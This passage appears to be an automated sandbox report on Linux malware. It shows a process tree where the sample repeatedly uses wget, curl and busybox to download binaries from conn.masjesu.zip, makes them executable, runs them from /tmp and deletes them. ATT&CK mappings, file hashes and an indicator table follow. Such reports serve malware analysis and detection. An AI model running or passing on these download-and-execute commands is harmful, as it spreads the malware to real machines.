  chmod 777 uReGtR07QT2dXBgcqSAzJSfCNrvQqGoQIA
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/uReGtR07QT2dXBgcqSAzJSfCNrvQqGoQIA
  ./uReGtR07QT2dXBgcqSAzJSfCNrvQqGoQIA
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm uReGtR07QT2dXBgcqSAzJSfCNrvQqGoQIA
  2⤵
  PID:979
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI
  2⤵
  - System Network Configuration Discovery
  PID:980
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:981
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI
  2⤵
  PID:983
- /bin/chmod
  chmod 777 bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI
  2⤵
  - File and Directory Permissions Modification
  PID:984
- /tmp/bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI
  ./bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:985
- /bin/rm
  rm bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI
  2⤵
  - System Network Configuration Discovery
  PID:986
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/XQmkyOUQk3rFxAIMI1Eh3WSUQtvnTPCoMm
  2⤵
  PID:987
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/XQmkyOUQk3rFxAIMI1Eh3WSUQtvnTPCoMm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:988
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/XQmkyOUQk3rFxAIMI1Eh3WSUQtvnTPCoMm
  2⤵
  - System Network Configuration Discovery
  PID:990
- /bin/chmod
  chmod 777 XQmkyOUQk3rFxAIMI1Eh3WSUQtvnTPCoMm
  2⤵
  - File and Directory Permissions Modification
  PID:991
- /tmp/XQmkyOUQk3rFxAIMI1Eh3WSUQtvnTPCoMm
  ./XQmkyOUQk3rFxAIMI1Eh3WSUQtvnTPCoMm
  2⤵
  - Executes dropped EXE
  PID:992
- /bin/rm
  rm XQmkyOUQk3rFxAIMI1Eh3WSUQtvnTPCoMm
  2⤵
  PID:993
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UywkDxZO0KBaDZwHOc4MMbj7fanWJBwcMe
  2⤵
  PID:994
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UywkDxZO0KBaDZwHOc4MMbj7fanWJBwcMe
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:995
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UywkDxZO0KBaDZwHOc4MMbj7fanWJBwcMe
  2⤵
  PID:997
- /bin/chmod
  chmod 777 UywkDxZO0KBaDZwHOc4MMbj7fanWJBwcMe
  2⤵
  - File and Directory Permissions Modification
  PID:998
- /tmp/UywkDxZO0KBaDZwHOc4MMbj7fanWJBwcMe
  ./UywkDxZO0KBaDZwHOc4MMbj7fanWJBwcMe
  2⤵
  - Executes dropped EXE
  PID:999
- /bin/rm
  rm UywkDxZO0KBaDZwHOc4MMbj7fanWJBwcMe
  2⤵
  PID:1000
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YE1R8qVU8XteZE1sxlTTZwrsm0zvMr0AGB
  2⤵
  - System Network Configuration Discovery
  PID:1001
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YE1R8qVU8XteZE1sxlTTZwrsm0zvMr0AGB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1002
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YE1R8qVU8XteZE1sxlTTZwrsm0zvMr0AGB
  2⤵
  - System Network Configuration Discovery
  PID:1004
- /bin/chmod
  chmod 777 YE1R8qVU8XteZE1sxlTTZwrsm0zvMr0AGB
  2⤵
  - File and Directory Permissions Modification
  PID:1005
- /tmp/YE1R8qVU8XteZE1sxlTTZwrsm0zvMr0AGB
  ./YE1R8qVU8XteZE1sxlTTZwrsm0zvMr0AGB
  2⤵
  - Executes dropped EXE
  PID:1006
- /bin/rm
  rm YE1R8qVU8XteZE1sxlTTZwrsm0zvMr0AGB
  2⤵
  PID:1007
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ct0T2jZqti8OOwBxVb66i3okoe07yi3RCm
  2⤵
  - System Network Configuration Discovery
  PID:1008
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ct0T2jZqti8OOwBxVb66i3okoe07yi3RCm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1009
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ct0T2jZqti8OOwBxVb66i3okoe07yi3RCm
  2⤵
  PID:1011
- /bin/chmod
  chmod 777 Ct0T2jZqti8OOwBxVb66i3okoe07yi3RCm
  2⤵
  - File and Directory Permissions Modification
  PID:1012
- /tmp/Ct0T2jZqti8OOwBxVb66i3okoe07yi3RCm
  ./Ct0T2jZqti8OOwBxVb66i3okoe07yi3RCm
  2⤵
  - Executes dropped EXE
  PID:1013
- /bin/rm
  rm Ct0T2jZqti8OOwBxVb66i3okoe07yi3RCm
  2⤵
  PID:1014
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/oLYXNHFTtCzJ2LebGVzgmAIYHbrTdqW2sx
  2⤵
  - System Network Configuration Discovery
  PID:1015
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/oLYXNHFTtCzJ2LebGVzgmAIYHbrTdqW2sx
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1016
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/oLYXNHFTtCzJ2LebGVzgmAIYHbrTdqW2sx
  2⤵
  - System Network Configuration Discovery
  PID:1018
- /bin/chmod
  chmod 777 oLYXNHFTtCzJ2LebGVzgmAIYHbrTdqW2sx
  2⤵
  - File and Directory Permissions Modification
  PID:1019
- /tmp/oLYXNHFTtCzJ2LebGVzgmAIYHbrTdqW2sx
  ./oLYXNHFTtCzJ2LebGVzgmAIYHbrTdqW2sx
  2⤵
  - Executes dropped EXE
  PID:1020
- /bin/rm
  rm oLYXNHFTtCzJ2LebGVzgmAIYHbrTdqW2sx
  2⤵
  PID:1021

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK

Path /tmp/1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK	753	1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK
/tmp/YekoON9r5UGPx0wk27DVV4img563KuiJcu	760	YekoON9r5UGPx0wk27DVV4img563KuiJcu
/tmp/GRj51zqNMoMRMivAufgeP0Kxkmtr0HUoI4	783	GRj51zqNMoMRMivAufgeP0Kxkmtr0HUoI4
/tmp/INYlYHjr8J1Rg1r91aSnB7Ls7sFj4rJEKd	818	INYlYHjr8J1Rg1r91aSnB7Ls7sFj4rJEKd
/tmp/CQASBVVCOhghLLwY2yoH1EMiCIJ2u0ahtn	826	CQASBVVCOhghLLwY2yoH1EMiCIJ2u0ahtn
/tmp/KBANhDXplocHXAgPiBrp5K9m1uFEkyi7Wc	851	KBANhDXplocHXAgPiBrp5K9m1uFEkyi7Wc
/tmp/mGdDlJqSS0pAaVuxmoXTfUzSU50qqO5hK2	873	mGdDlJqSS0pAaVuxmoXTfUzSU50qqO5hK2
/tmp/uReGtR07QT2dXBgcqSAzJSfCNrvQqGoQIA	880	uReGtR07QT2dXBgcqSAzJSfCNrvQqGoQIA
/tmp/YE1R8qVU8XteZE1sxlTTZwrsm0zvMr0AGB	887	YE1R8qVU8XteZE1sxlTTZwrsm0zvMr0AGB
/tmp/Ct0T2jZqti8OOwBxVb66i3okoe07yi3RCm	894	Ct0T2jZqti8OOwBxVb66i3okoe07yi3RCm
/tmp/oLYXNHFTtCzJ2LebGVzgmAIYHbrTdqW2sx	901	oLYXNHFTtCzJ2LebGVzgmAIYHbrTdqW2sx
/tmp/bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI	908	bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI
/tmp/XQmkyOUQk3rFxAIMI1Eh3WSUQtvnTPCoMm	915	XQmkyOUQk3rFxAIMI1Eh3WSUQtvnTPCoMm
/tmp/UywkDxZO0KBaDZwHOc4MMbj7fanWJBwcMe	922	UywkDxZO0KBaDZwHOc4MMbj7fanWJBwcMe
/tmp/YekoON9r5UGPx0wk27DVV4img563KuiJcu	929	YekoON9r5UGPx0wk27DVV4img563KuiJcu
/tmp/GRj51zqNMoMRMivAufgeP0Kxkmtr0HUoI4	936	GRj51zqNMoMRMivAufgeP0Kxkmtr0HUoI4
/tmp/INYlYHjr8J1Rg1r91aSnB7Ls7sFj4rJEKd	943	INYlYHjr8J1Rg1r91aSnB7Ls7sFj4rJEKd
/tmp/1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK	950	1Em3kxuFxyQg6jvWyk7pfBP2TV4QBGAdNK
/tmp/CQASBVVCOhghLLwY2yoH1EMiCIJ2u0ahtn	957	CQASBVVCOhghLLwY2yoH1EMiCIJ2u0ahtn
/tmp/KBANhDXplocHXAgPiBrp5K9m1uFEkyi7Wc	964	KBANhDXplocHXAgPiBrp5K9m1uFEkyi7Wc
/tmp/mGdDlJqSS0pAaVuxmoXTfUzSU50qqO5hK2	971	mGdDlJqSS0pAaVuxmoXTfUzSU50qqO5hK2
/tmp/uReGtR07QT2dXBgcqSAzJSfCNrvQqGoQIA	978	uReGtR07QT2dXBgcqSAzJSfCNrvQqGoQIA
/tmp/bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI	985	bQjksgBLn0BktQmVIpVzHMQm4Pr2Vl7obI
/tmp/XQmkyOUQk3rFxAIMI1Eh3WSUQtvnTPCoMm	992	XQmkyOUQk3rFxAIMI1Eh3WSUQtvnTPCoMm
/tmp/UywkDxZO0KBaDZwHOc4MMbj7fanWJBwcMe	999	UywkDxZO0KBaDZwHOc4MMbj7fanWJBwcMe
/tmp/YE1R8qVU8XteZE1sxlTTZwrsm0zvMr0AGB	1006	YE1R8qVU8XteZE1sxlTTZwrsm0zvMr0AGB
/tmp/Ct0T2jZqti8OOwBxVb66i3okoe07yi3RCm	1013	Ct0T2jZqti8OOwBxVb66i3okoe07yi3RCm
/tmp/oLYXNHFTtCzJ2LebGVzgmAIYHbrTdqW2sx	1020	oLYXNHFTtCzJ2LebGVzgmAIYHbrTdqW2sx